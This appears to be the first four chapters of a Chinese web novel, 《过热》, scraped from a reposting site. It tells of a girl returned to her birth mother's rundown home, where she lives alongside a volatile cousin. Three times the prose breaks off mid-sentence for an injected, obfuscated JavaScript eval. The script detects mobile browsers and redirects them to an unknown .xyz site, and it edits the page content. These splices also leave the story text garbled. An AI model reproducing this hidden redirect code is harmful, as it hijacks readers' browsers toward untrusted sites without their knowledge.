《过热》 1. 第一章 晋江文学城独发 文/却呀2025/1/6 平城的九月,连着半个多月持续高温,一大早外面的太阳就像是蓄势待发的火球,空气被烧得发烫。 林杳从别墅大门走出来的那刻,眼睛被强烈的阳光刺到,不适的酸痛感在眼底蔓延。 林钦文拉开车的后备箱,把手里拎着的粉色行李箱放进去,又走到林杳身旁,看向她的眼神愧疚又满是无奈。 “你妈妈心里难受,就不跟我们一起过去了。” 林杳小声又善解人意道:“没关系的,沅沅也需要妈妈在家照顾。” 抱着书包坐上副驾驶,她偏过头,睫毛使劲眨了眨,将眸底泛出的泪意又憋了回去。 车窗外,物业人员正拿着长长的水管给晒得蔫巴的草坪浇水,细密的水雾在半空中形成一道拱形的彩虹,眨个眼就消失不见了。 车很快驶出小区,一点点远离了她熟悉的生活区域,视野里的景象越来越陌生,像她之后所要面对的人,充满未知。 她心里惴惴的,直到这一刻还有种恍惚和不真实感,一切变故都太快太大了,用翻天覆地形容也不为过。 就在两周之前。 她半夜里口渴醒来,拿着水杯出去接水,经过父母的卧室时听到妈妈抽噎,几近情绪崩溃的质问。 “我不同意!我养了杳杳十七年,她在我心里和亲生女儿没有任何区别,你说送走就送走,这和在我心里剜一刀有什么区别?” 这话的信息量太大,她大脑还没反应过来,就听到爸爸疲惫却又理智的声音,一句又一句,有理有据地劝说道:“小怡,你以为我愿意吗?这也是实在走投无路了,没办法了,自从经济危机后生意就一直不好做,辛苦支撑了两年多,现在公司还是要资产清算了,这套我们住了十几年年的别墅也要挂牌卖掉。我们现在去美国给沅沅治病,还得先借住在我哥家,我们一家三口都得挤一间房,哪儿还有地方给杳杳住。” “何况沅沅的治疗费是很大的一笔开支,我们没法承担另一个孩子的养育了。我知道你舍不得杳杳,但毕竟沅沅才是我们的亲生骨肉啊,你想想你当初高龄怀孕,为了生下他打了多少保胎针,受了多少罪。” 一句句话像惊雷从她耳边劈过,她被定在原地,最后听到爸爸缓慢却也下定决心的声音。 “我已经找到了杳杳的亲生母亲,她愿意把她接回去,我们再给她一笔钱,到底是亲生骨肉,她会好好对杳杳的。” - 车不知开了多久,跨越了大半个城区,最后拐进一条老旧的小巷子,差点和一辆横冲直撞的小电驴撞上,对方破口大骂—— “我操你妈了个逼的,傻逼没长眼看路啊,开辆宝马就以为自己牛逼哄哄的?!” 林钦文听得皱眉,素来的好教养让他没和这种人争辩,他把车往旁边拐了拐,让他先过去。 对方边开走他那小电驴还边继续骂骂咧咧的,林杳飘远的思绪被这一出拉扯回来,长时间放空的眼睛也慢慢聚焦。 她看见车窗外,巷子两边很低的矮房,外墙好几处水泥脱落,露出里面红色的砖体,各种电路像蜘蛛网一样牵扯得杂乱无章,贴满小广告的电线杆旁放着个挺大的垃圾桶。 绿色桶身布满脏污,里面的垃圾满得溢到了外边,几个泡面的桶,汤水流到地上,蜿蜒出几条脏兮兮的痕迹。 林钦文看见这里这么脏乱差的环境,皱着的没有更深了,心里的愧疚也越发强烈。 他把车停到个树荫下,拿手机拨出号码:“喂,赵女士吗,我们已经到这边巷子里了。” 挂断后,他偏头看向身侧一直安静坐着的少女,沉默了很久的声音显出些沙哑:“杳杳,家里的现状,还有沅沅的情况你也都清楚,要不是实在没办法,我和你妈妈是绝对不会这么做的,你别怪我们。” “我理解,我从没有怪爸爸妈妈。”林杳回望着他,乌黑杏眸里没一丝怨怼,真心实意道:“希望沅沅能早日康复。” 另一侧的巷子走来一个三十好几的女人,黑色波点网衫,红色文胸的红色肩带半隐半露,纹着细眉,染了棕色的头发又长又卷地披着。 女人边走近边朝车里张望。 林钦文推开车门走下去,林杳也跟着下车。 “请问您是赵女士吗?”林钦文客气问道。 “对对,是我。”赵美莺满脸笑容,转头看向他旁边的女孩儿,只一眼就让她愣住了。 眼前这少女漂亮得完全不像她能生出来的。 脸就巴掌大小,肌肤瓷白,卷翘睫毛下的杏眼乌黑透亮,身上的气质也好,有种富养出来的娇贵端庄,是她生活的这种地方里没见过的。 “以后杳杳就交托给您了。”林钦文将先前说好的一张银行卡递给她:“这是我和我妻子的一点心意,您拿着。” “哎呦,这是哪儿的话,这些年还是辛苦你们给我把女儿养大呢。” 赵美莺嘴上说着客气话,盯着那张卡的眼睛就没挪开一下,假意推辞了一番,最后喜滋滋地揣进包里。 林钦文是狠心做决定送走林杳的人,可到底也是喊了自己十七年爸爸的女孩儿,真正离别时心还钝痛不已。 他张了张嘴,有很多话想要说又不知怎么说,最后也只能道:“那杳杳,我先走了,你以后在这边好好照顾自己。” 赵美莺视线紧随着那辆开走的宝马:“不是说生意破产了吗,还开得起这种好车啊,该不会是为了甩掉你,一家去国外逍遥而编出的瞎话吧?” 林杳低着头没有吭声。 “不过老话说得好,废船也有三斤钉,这些有钱人,就算破产了也比我们这些穷老百姓过得好。” 赵美莺又自顾自自地分析,又往一直默不作声地林杳脸上瞥去一眼:“你别怪我扔下你,当初我生下你时才十六岁,你爸穿上裤子就走人了,我哪儿能养活你。” “要不是我把你送给那对夫妇,你这十几年哪儿能过得这么享福啊。”她反而得意起来。 林杳用力抿了抿干涩的嘴唇,仍一言不发。 她是在那晚过后的第二天,被告知了自己的身世,她并非沈怡和林钦文所生,而是他们收养的。 当年沈怡在医院做护士,碰上了十六岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830190|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生完孩子不想要的赵美莺,正好她和丈夫结婚多年都一直没有怀上孩子,就把她收养了回去。 一养就是十七年,前几年他们才怀上了沅沅,可能是高龄产妇的缘故,儿子几岁时被查出了自闭症。 林杳拉着行李箱跟在赵美莺身边,巷子里的地面不是很平整,小滚轮总被碎石卡住,她拉得有点费劲。 赵美莺想起什么,转头问她:“对了,他们给你取的名字是林瑶吧。” “是林杳,上面一个木,下面一个日。”她温软的嗓音纠正道。 “还有这么个字啊,奇奇怪怪的。”赵美莺皱眉嘀咕了句:“还不如瑶字好听呢。反正你那个不负责的爹早死了,你姓也不用改,就这么叫着吧。” 往右边拐进一条更为逼仄的小巷,仅她和赵美莺勉强能通过的宽度,两边都是二层高的自建房。 头顶依然是杂乱交织线路,挂着各家的衣服,刺眼的阳光被遮挡大半,两侧墙壁被岁月侵蚀得斑驳,好多潦草抽象的涂鸦,石缝里的青苔被晒得枯黄。 林杳低头看路,身旁是和自己血脉相连,却也和陌生人没什么区别,十七年来头一次见的母亲,她不知要如何相处,连第一句话该说什么都不知道。 耳边忽然响起赵美莺的声音,笑着的,有几分讨好的感觉。 “小野去上学了啊。” 林杳心中微讶,这起码都十点多钟了,哪有人这个点去上学的啊。 她忍不住抬起头,看见迎面走来的少年。 第一感觉是很高,她不得不又把下巴往上仰了仰,才看清这男生的长相。 内双,狭长细窄的眼皮,两边鬓发理得很短,更凸显出凌厉硬朗的五官,右嘴角结着块血痂,整个人都透着股阴沉冷戾。 是从前林杳在学校外面遇上了,都会下意识避开的那类人。 肩膀这时被推了一把,赵美莺对她道:“喊哥。” 林杳对家里的关系还一无所知,愣怔地对上少年漠然的黑眸,张嘴地喊了声:“哥哥。” 嗓音清澈甜润,像夏日里淙淙的清泉,只是很小,还怯生生的。 闻野脚步顿了顿,耷拉着的眼皮撩起,视线从少女白净的小脸,移到那双清凌凌,怯意十足的眼眸,再到她身上那条很乖的娃娃领小白裙。 整个动作也就短暂的两秒,然后便一言不发地抬脚就走,没搭理赵美莺,也没回应她这一声哥哥。 巷子本就狭窄逼仄,他大剌剌往前走,和林杳擦身而过时,他胳膊撞了一下她肩膀。 身后的脚步声很快消失,她跟着赵美莺继续往前走。 赵美莺也变了嘴脸,从鼻子不哼出一声,不屑道:“就这没爹管没娘教,还成天惹是生非的,都是管教所的常客了。” 林杳落后半步跟着,从她这话意识到刚那少年应该不是她亲哥。 刚这么想着,就听赵美莺提醒她道:“他是你大伯的儿子,和我们住一块儿,他脾气像个炸药包,一点就炸,你之后避着他点,别去招惹他。” 林杳乖巧应了声好。 又想起刚他那态度,摆明了是不待见她的。 2. 第二章 走到这条巷子的尽头,和前边一样,依然是一栋二层高的自建房,门是刷着绿漆的铁门,上面贴着几张开锁疏通的小广告,旧的还没撕下去,新的又覆了上去。 赵美莺拿钥匙开了门,拿了双旧拖鞋给林杳。 林杳蹲下换鞋时,一辆红色的儿童电动四轮车开了过来,握着方向盘“驾驶”的是个六七岁的小男孩。 小男孩肉乎乎的,比同龄的孩子看起来要胖,坐着的那辆玩具车明显有些承受不住他的体重,一路过来晃晃悠悠的。 “妈!冰淇淋没有了,我要吃冰淇淋!”小男孩一开口就是不满的大声嚷嚷。 赵美莺脸上多出笑容:“我一会儿买菜时就去买。” “我要吃碎冰冰,还有四个圈的。”他提出要求。 “行行行,都给你买。”赵美莺语气纵容,又向他介绍:“小磊你看,这是你姐姐,之后搬来和我们一块儿住。” 闻磊还小,并不明白姐姐怎么换人了,也对她不感兴趣,看了林杳一眼,没叫一声就转着方向盘又把车开走了。 对于他这没礼貌的行为,赵美莺并不觉得有什么,只连声叮嘱他小心着点,别撞到家具磕着碰着了。 她又转头看向林杳:“我现在得赶紧去买菜了,房间都在二楼,你和小磊住一间,就是门上贴着海报的那张。” 飞快安排完她就开门走了。 闻磊仍开着他那辆玩具车在客厅横冲直撞,差点还压到林杳的脚,幸好她即使往后退了几步。 林杳拎着行李箱往楼上走,行李箱装了很多书,挺沉的,她力气小,上几阶就得停下来喘口气。 老式黄色木门上贴着张奥特曼的海报,林杳往里看了看,确认是这间后把行李箱拎进去。 房里有些乱,床上堆着玩具和漫画书,一旁的桌上零零散散放着玻璃珠弹弓还有捡来的树枝这些,敞开的抽屉里还有几张擦完没扔的纸和一袋开了封没吃完的薯片。 林杳收拾就用了好久,期间赵美莺买完菜回来了,她听见她拿冰淇淋给闻磊,但没上来,直接去厨房做饭了。 快十二点,又有开门的动静。 从楼底下传来男人说话的声音,抱怨着厂里那些不服管的老油条,每几句话都带着惯用的粗口。 林杳起身往外走,下楼梯时就看见翘着二郎腿,四仰八叉坐沙发上的男人。 对方正在抽烟,T恤衫被啤酒肚撑起来,黑裤子系着根皮带上,上面挂着一串钥匙。 赵美莺正端着盘刚切好的西瓜出来,看见下来的林杳忙道:“快过来和你闻叔叔打声招呼。” 林杳说了句闻叔叔好,沙发的男人偏头看来,视线将她上上下下打量了一圈,咧嘴笑了下:“我们这一片哪有皮肤这么白的女孩子啊,一看还真是有钱人家养出的。” 林杳有些局促地站着,不知该说什么。 赵美莺把那盘西瓜摆到茶几上,招呼着趴地上玩小火车的闻磊来吃西瓜,又喊林杳跟她一块儿进厨房去端菜。 吃饭时闻天明对她从前的家庭很感兴趣,这啊那啊的问题一个接一个,赵美莺给闻磊喂饭,时不时也插几句话。 闻磊还处于最跳脱的年龄,家里也惯着他,吃了一半他就从椅子上蹦下去玩玩具,赵美莺只得端着碗追过去继续喂。 闻天明吃完便当起了甩手掌柜,惬意地往沙发上一靠,拿起茶几上的烟盒后“诶”了声:“烟没了。” 赵美莺还边哄边给儿子喂饭,回头理所当然地对林杳吩咐道:“你去给你闻叔叔买包烟回来,超市就在巷子最前头,你来时路过了的。” 林杳习惯了细嚼慢咽,吃饭速度一直比较慢,这会儿还没吃完,但也只得先放下筷子。 闻天明从兜里掏出张十块的纸币:“买包红塔山吧。” 林钦文不抽烟,在此之前林杳连烟盒都没接触过,拿过钱之后在心里默默记下这三个字,换鞋出门。 大中午,外边儿热得冒烟,沥青的地面仿佛烤盘,踩上去能感受到炙烫的温度,林杳凭着模糊的记忆东歪西拐找到那家秀梅超市。 说是超市,但实际就比学校里的小卖部还小,里面挤着四排货架,靠门边的玻璃柜台放着各种牌子的烟,里边塑料椅子上坐着个十七八岁的男生,穿着背心短裤,瘦骨嶙峋的,手里摆弄着一块儿魔方。 “我要一包红塔山。”林杳说着,把捏着的钱递过去。 男生抬起头,先是对她傻呵呵笑了两声,站起来低头找着,一盒一盒地拿起来看又放下。 这时侧边的塑料门帘掀开,系着围裙的中年女人走出来:“不好意思啊,你要什么?” 林杳又说了一遍,女人很快拿了烟给她,她拿着走出店时听见那女人和男生讲话,应该是母子关系,女人说话语速和内容都不像是对着一个智力正常的成年人。 闻天明下午又去厂里上班了,赵美莺被闻磊闹着带去商场玩,家里只剩下林杳一个,她回到那间房,从行李箱拿自己的东西收拾摆放好。 然后就没什么事好做了,电风扇嗡嗡嗡的声音一下更加清晰,林杳看着房间四周陌生的布置,那种无所适从的感觉又席卷而来。 她在床边坐了会儿又起来,从书包里拿出那套带来的试卷,让自己沉浸在题海里,连着刷完两套,窗外只剩几抹橘色余晖。 等到那两抹橘色消失,天色暗了下去,赵美莺和闻天明还一个都没回来,那个听说总惹是生非,管教所常客的哥哥也没出现。 林杳肚子饿了,从书包里拿出钱包和赵美莺出门前给她的钥匙出了门。 她打算去中午那家小卖部买桶泡面,顺便把牙刷毛巾这些生活用品也买了,这一片的路灯也不太亮,光线透着股无力的昏黄。 隔着段距离,林杳看见小卖部门口两个纠缠打斗的身影。 更准确来说,是一个人把另个人按在地上揍,被压在下面的人毫无反抗之力,只能发出痛苦的呻吟。 林杳心里一惊,本能就想避开这场混乱,脚刚要往后撤退,店里又急匆匆跑出道人影,是中午拿烟给她的女人。 女人先是试图把在上面揍人的那个拉起来,结果根本是徒劳,对方照样一拳拳抡着身下的人。 大晚上的,林杳不想多管闲事,可接下来的一幕出乎她的意料。 只见女人膝盖一弯直接跪了下去,声泪俱下地哀求:“求求你别打了,你知道我儿子脑子从小就不正常,我们孤儿寡母不容易,求你放过我儿子这一回” 林杳脚步挪不动了。 她咬了咬唇,鼓足勇气跑过去,发着颤的声音大声道:“你再打人我就报警了。” 为了看上去更有威慑力,她抬起捏着手机的手,亮着的手机屏上显出已经已经按了,还没拨下去的110。 对方停了手,偏头朝她看来。 四目相对。 昏暗光线下林杳看见他的模样,短鬓,窄眼皮,眉骨冷硬,就是上午在巷子里碰见的,还喊了一声哥哥的人。 只是相比上午满脸漠然又懒得搭理她的神色,此刻他下颚绷着,瞳孔泛着冰冷的光泽。 林杳想起赵美莺的那些话,心底更加发怵,总觉得他会把还没发泄完的愤怒转移到她这儿,说不定下一秒就一拳冲她挥过来。 这么想着,在闻野从一直压着揍的那人身上起来时,她本能地就往后退了半步。 闻野却并没有再看她。 他往被揍得满脸是血, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830191|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘫软在地的男生身上又踹了一脚,嗓音冷戾:“再被我看到一次,直接把你胳膊卸了。” 说完他走了,依然没再看林杳一眼。 女人连忙心疼地把儿子扶起来,向林杳感激地道谢:“小姑娘,刚真是谢谢你了。” “不客气。”林忙摆手。 她想了想问:“他刚才为什么要下手那么狠打你儿子啊?” “这……”女人迟疑了下道:“我儿子智力不正常,可能哪个举动惹到他了吧,唉,这人是我们这片出了名的混子,没爹教没娘管,你以后碰上也躲远点吧。” 和赵美莺差不多的说辞,林杳垂了垂眼,忍不住在心里叹气。 她也想躲远点啊,可就在一个屋檐下住着,怎么都有碰着的时候吧。 - 坐落在街边的一家刺青店,很小,一个工作台加一把纹身专用椅就占了一大半的面积,剩下那点空间里支着张塑料小桌子,又紧紧挨挨摆着两个小板凳。 门开的那刻,两个小板凳上坐着的人同时抬起头。 “野哥你买包烟怎么买这么久啊。” 本只是一句感概,看到他两手空空之后,彭一凡语气转为疑惑:“诶野哥,你没买烟啊?” 闻野没说话,伸了伸脚从桌底下勾出把椅子,懒散地往那儿一坐,没动桌上摆了一圈的烧烤啤酒,捏着手机打起游戏。 音效噼里啪啦的,他打得心不在焉,脑海里浮现出刚小卖部门口,小姑娘看过来的眼神。 那眼神提防又愤慨,像是看垃圾和社会败类一样的。 他心里冷笑一声,看着手机屏上激战的游戏,脑海里却又不由自主地浮现出另一幕。 两年前还是三年前吧,外婆重病在icu抢救,他上门要债,和那群不还钱的亲戚们打了一架,肋骨疼得要命,不太走得动了。 靠着根电线杆喘口气时,就见她和俩女生从对面的舞蹈机构出来,走到一家奶茶店门口排队。 那是个大冬天,冷得要命,呵气都能结冰,她身上就披着件白色的长款羽绒服,里面就一条单薄的水袖长裙。 乌黑长发被盘着跳古典舞的那种发髻,小脸上着浅粉的淡妆,额头勾勒着朵小而精致的桃花。 还挺小的年纪,模样已经出落得十分精致,又带着几分清高的脱俗感,像神话剧里面瑶池的小仙子。 旁边路人都在看她,还有着小声议论,他百无聊赖,也扫过去一眼。 没多久,就看见同伴扯了扯她袖子。 他耳力好,听见那同伴小声对她说:“算了杳杳,我们别买了快回去吧。有个男生一直在盯着你看,不知道是打什么主意。他身上还有血,好恐怖的。” 她闻言转头朝他看来,那双真他妈干净的眼睛落在满身伤还带着血的他这儿,眼神像看路边的乞丐,更准确说是被抛弃的野狗,有同情,又有怕被咬一口的警惕。 而他,看她一眼都似不配。 他听到她对劝她离开的同伴说了声好,奶茶也没买就走了。 彭一凡和路宇安边撸串边瞎聊着:“我妈她听说咱这一片要拆迁了,还跟我商量着要往楼上再建一层呢,到时候好多算点面积。” “得了吧,”路宇安灌了半杯啤酒,一脸不信的表情:“四五年前就有拆迁的消息传出来,结果到现在还是没影的事。” “也是。”彭一凡叹口气:“我还不是盼着早点拆了,好搬出这贫民窟一样的地方,又破又旧的,哪有现在那种电梯的商品房住着舒服。” 闻野唇角掀了掀,心中萌生出几分恶劣的想法。 是啊,曾经再高高在上的千金小姐又怎么样,如今沦落住这种破烂地方。 有的罪受。 3. 第三章 林杳在那家小超市除了买吃的,还有牙刷沐浴露之类的生活用品,这些赵美莺都没给她准备。 买着一大袋东西回了家后,她先拿出整袋的达利园小面包。 面包外层的大包装袋积着一层灰,还有几天就到保质期了,这是她当时能找到唯一熟悉的牌子,其他的面包连质量安全的标志都没有。 林杳撕开,吃了几个填饱肚子。 快八点时,赵美莺才带着闻磊回来,看样子是都在外边吃过了,她下去打招呼,喊她妈妈时还很生疏不自然。 赵美莺坐沙发上,脱了脚上的丝袜:“你去给我倒杯水来,渴死我了。” 林杳听话地照做。 通过几句交谈,她对家里情况稍微有了一点了解,那位闻叔叔,是她妈妈八年前结婚的男人。 至于闻野,赵美莺说他爸之前是厂里技术骨干,十多年前被派去德国学习深造,结果在那边又找了老婆生了孩子,直接不回来了,他妈妈因此精神出了问题,后来自杀了。 赵美莺谈起这事时十分流畅,显然是说过不下十几遍,说完,她搁下水杯,起身领着闻磊上楼洗澡去了。 林杳还怔怔的,心情复杂,一面有些同情他这么不幸的遭遇,一面又仍为晚上小卖部门口的那幕愤慨。 就算有再大的矛盾,他也不能欺负智力有问题的弱者啊。 林杳站了一会儿也上楼回了房间。 很晚了她都没睡着,床单上有些薯片屑,她上午都拍干净了,但睡上去后皮肤还感觉有点痒,老式的窗机制冷效果不好,声音倒是嗡嗡的,特别大。 更别提她一人一间房睡惯了,此刻身旁还多了个呼呼大睡,时不时把腿伸过来的闻磊。 眼皮闭了好久又睁开,这时外边走廊传来脚步声,墙的隔音效果不好,很快她听见隔壁房间传出些动静。 隔壁那间房,应该是闻野住的。 林杳拿起枕头边的手机,按了下后屏幕在黑暗中亮出一小片荧白的光,时间显示的是两点零2分。 竟然能在外边待到这么晚回家,还真是人如其名,够野的。 - 第二天早上,林杳被赵美莺带去新学校办理转学手续。 学校离家并不远,两人一路走过去,她看到老旧简陋的校门:平城第三中学。 校园也小,不像林杳以前上的那所外国语,学校修得恢宏气派,除了几栋高大的教学楼,还有实验楼,图书馆,大礼堂这些建筑。这里,一个小操场,一个小篮球场,再加上一栋不太高的教学楼几乎就构成三中的全部。 还在上课的时间,林就看见走廊外有罚站的学生,拐角厕所边还有两个男生偷摸抽烟的背影,老师用尺子拍打讲台的声音隔着门都能听见。 她对这学校的第一印象就是乱和差,可还是得跟着赵美莺一同进了校长办公室,办理转学手续。 手续办理得很顺利。 校长看过她从前的成绩单之后像捡到宝似的眉开眼笑,保证会把她转进高二最好的班级,还答应给她免除之后的学杂费。 这下赵美莺脸上也有了笑容。 今天是周六,本来学校就只上半天学,校长便让她干脆周一再去新的班级。 回家后,林杳把床上的床单掀起来,抱着拿到卫生间的洗衣机前。 对着这款比她年纪还大,只有几个旋转扭控制的洗衣机,林杳正研究着怎么用,赵美莺进来了。 “就一件床单啊,你用手洗得了呗,用洗衣机多费水费电啊,而且这洗衣机一开轰隆轰隆响,小磊在做算术题呢,这噪音太影响他了。” 说完还给林杳指了指墙角边立着的一个红色大水盆:“喏,就用这个。” 狭小闷热的卫生间里,林杳蹲在水盆前,几次换水揉搓,洗完额前细碎的发丝都汗湿了,又双手抱着大盆子拿到阳台去晒。 闻野昨晚在店里给个顾客扎了个满臂纹身,弄到凌晨两点多才回,他一觉睡到快中午才起。 本来直接就要去纹身店,下楼梯时,视线无意往阳台掠过,一道纤细的白色身影映入眼帘。 三十七八度的高温天气,猛烈的阳光从积着灰的纱窗射进来,小姑娘白皙的脸颊被晒得发红,脖颈和鼻尖一层亮晶晶的汗珠,额前发丝乱乱的,小腿的裙摆被打湿了一块儿,脚趾头还沾着点洗衣粉的白泡沫。 正弯着腰,费劲巴拉地用手着床单,看着有些狼狈。 闻野眉骨扬了扬,也没想到昨晚心里鬼使神差萌生的恶劣想法,这么快就应验了。 他抬脚,朝阳台走了过去。 林杳抬手擦了额头上,快滑到眼睛里的汗水,继续费劲地拧着湿答答的床单。 她以前在家从没干过这种重活,她感觉自己用尽全力了,手腕都发酸了,还是没法将床单里面的水完全拧出来。 身后突然传来“嗤”的一声笑,透着几分轻嘲。 她回过头,看见懒散插手倚在墙边的闻野,好像是才睡醒起来,眼皮没什么精神地耷拉着,嘴角翘起戏谑的弧度,明显一副看好戏的表情。 就仿佛她费劲巴拉地拧着床单的模样,对他来说是个乐子。 真无聊。 林杳在心里嘀咕,但也不敢表现出来,毕竟昨晚他打人那么凶的样子还历历在目。 闻野眉眼懒洋洋地地垂着,眸光落在她抓着床单,用劲使着力的手上。 那手很小,手指却生得纤细又长,白生生的,就只是拧个床单,她掌心和手指的皮肤就开始泛红。 真是娇气得要命。 闻野在心里嗤讽地想着,看着曾经高高在上的千金小姐从云端跌下来的感觉,却并没有以为的那么爽。 拧个床单都慢吞吞磨磨唧唧的,让人莫名有股又说上来的烦躁。 “拧个床单也拧不干,不行我来。”他看得不爽,眉心微拧着道。 林杳闻言愣住,结合刚他那一声嗤笑和之前的所见所闻,她完全不相信他有乐于助人的性格,怀疑他是不是在说反话,或者憋着什么坏。 看见少女警惕透着怀疑的表情,闻野神色也变了变,随之用冷硬,又有些不耐的语气道:“你一直杵这儿占着,我怎么用阳台?” 然而他两只胳膊横抄在身前,并没有衣服要晾晒,林杳觉得他是在故意找茬,小声辩驳道:“你又不晒衣服,要用阳台干嘛?” 他语气懒散倨傲:“我晒太阳,不行?” “……” 林杳有点不知道怎么应答,不确定他是故意找茬,还是脑子还没睡清醒。 赵美莺这时从厨房里走了出来,喊她:“怎么洗床单洗这么久啊,快过来帮我端菜。” 她刚“噢”地应了声,闻野已经两步走到她面前,他个高,气场强大,给人的压迫感十足,身上洗衣粉混杂着烟草的余味,随着他的靠近强势霸道地扑面而来。 林杳往后退了退。 但也是无用功,手里的床单直接被他强硬地抢了过去。 少年冷白手背上青筋脉络分明地凸起,毫不费力地稍微使了点劲,床单被紧拧成麻花状,几下就把水滴滴答答的都拧了出来。又熟练地抖了抖,拿了个衣架给挂在头顶的绳子上。 林杳匪夷所思地看完他一系列举动,没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830192|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻野是真的帮她了。 可昨晚他欺负那个残疾人的事还是很让她耿耿于怀,并不想和他有什么过多的接触。 “谢谢。”她干巴巴扔下两个字,就往厨房快步走去。 听出小姑娘这一声的不大情愿,闻野扯唇笑了声。 笑自己犯贱。 林杳进了厨房去端菜,正端着一小锅番茄丝瓜汤走出来时,闻磊一边嚷嚷着“鸡腿好了没啊”一边不看路地往里冲。 为了避免撞到他,林杳赶紧往旁边让步,端着的碗不小心一歪,热汤洒了些到手背上。 她被烫得嘶一声,但怕碗摔了,忍着疼想先将那锅汤端到桌上去。 眼前突然覆下一道颀长身影。 没等她回过神,闻野骨节修长的手捏着锅两边的把手,指间肌肤相触了一瞬,头顶响起他冷冽低沉的嗓音。 “松手。” 就两个字,言简意赅,带着种不容抗拒的意味。 林杳松开手,跑到卫生间拧开水龙头,凉水冲了会儿被手背烫到的地方,不疼了,只还留着一小快浅红的痕迹。 闻野把那锅汤端上桌,转身走进厨房,灶台上摆着几盘烧好的菜,赵美莺从还在咕噜噜炖着的铁锅里夹出根鸡腿拿给儿子。 见闻野进来,还端了盘菜拿出去,赵美莺神色微讶,但没吭声。 闻野进进出出两趟,最后一次端着盘清炒苦瓜要出去。 不大的厨房里,闻磊吃鸡腿吃得满嘴油,上窜下跳的,这次整个人又撞闻野身上。 林杳走到厨房门口,见到的是就是这幕。 只是比起刚才撞到她时那种毫无所谓的态度,闻磊这会儿脸上明显有点慌和害怕。 他畏怯地缩了缩脖子,还没等跑开,闻野手里的那盘炒苦瓜一点儿没剩,全倒在了他身上。 林杳眼睛睁圆,被他这炸药一样的暴脾气惊到了。 菜已经放了一会儿,烫是不烫的,但把闻磊吓坏了,他嘴一瘪,“哇”一声哭出来,哭得那叫一个惊天动地撕心裂肺。 赵美莺震惊过后气愤地大叫起来,声音尖锐刺耳:“闻野你有病吧?!” “谁让他走路总不长眼。”闻野黑眸扫过去,舌尖顶了顶后槽牙,一股混不吝的痞气:“你不管,我来替你管教一下。” 赵美莺性格泼赖,要是别的什么人她早扑上去和对方厮打了,这会儿对着闻野,她不敢动手,怒气冲冲,也只敢梗着脖子回嘴。 “小磊才六岁懂什么?他这正是好动的年纪,不就是撞了你一下,这么点小事还值得你跟他这么计较,你也是好意思的!” “我脾气不好,忍不了一点。”闻野扯唇冷笑了声,眉敛了敛,生出一股凛冽气场:“你受不了,就让闻天明带着你和你儿子搬出去。” 赵美莺还欲出口的话一下都卡在嗓子眼里,唇抖了抖又闭上,又气又憋屈地牵着还啼哭不止的闻磊到楼上去洗澡换衣服。 林杳还站在门边,猝不及防和里边的闻野对视上,两秒之后她率先挪开眼。 地面一片狼藉。 她心里轻叹了口气,走进去准备拿起扫帚收拾了,另一只骨骼修长的大掌先握住了手柄。 闻野偏头,朝她睨来一眼,冷漠的声线里夹杂着几分嘲弄:“又不是你弄的,你管什么。” 林杳愣了愣,手还停在半空,闻野已经拿起那把扫帚。 他把倒地上的那些苦瓜丝瓜的全扫进垃圾桶,又去卫生间拎出把打湿的拖把,将地上的油渍也拖干净了。 收拾完后洗了手,饭也不吃一口的走了,把门干脆利落地甩得砰一声响。 4. 第四章 赵美莺带着重新洗了澡,又换了身衣服的闻磊下来,她脸上挂上一副怒容,往四处瞧了瞧,小声问林杳他人呢。 得知他出去了,赵美莺又骂起来,什么“没爹没妈”“人渣败类”,骂得要多难听有多难听。 林杳低头默默吃饭,没吭一声。 刚才他突然发作也把她吓了一跳,但没想到的是他之后还把地上都收拾干净了,脾气是真不好,但责任心好像还有一点。 闻天明和人打牌到下午才回来,林杳在楼上的房间都能听到赵美莺气急败坏告状的声音,说了十多分钟。 闻天明输了钱,心情本就不痛快,听得烦了道:“他是什么脾气你第一天知道,反正他在家待得少,以后他在你就让小磊避着他点呗。” 眼见着她又要说什么,闻天明先声夺人地嚷道:“谁让两年前你一个劲撺掇着我去炒股,房子和钱都赔了个精光不说,搞得我一大把年纪了还得求侄子给我个住的地方。” 房间里,林杳预习翻页的手顿了顿,之后底下在没有声音传过来。 她垂眼看着书上板正的铅笔字,想起中午在厨房时闻野让赵美莺搬出去的那句,心里生出几分危机感。 要是她哪天不小心得罪了他,按他那脾气,他很可能把她赶出家门的。 隔天周日,林杳发现确实如闻天明所说,闻野在家待的时间少,只早上他出门时她和他打了个照面,一直到她晚上睡着都没见他回来。 为此林杳松了口气,连碰面的机会都少,那她应该也不容易惹到他。 - 周一去三中,林杳六点四十出门,三中的早自习七点半才开始,从家走过去也不过二十分钟的路程。 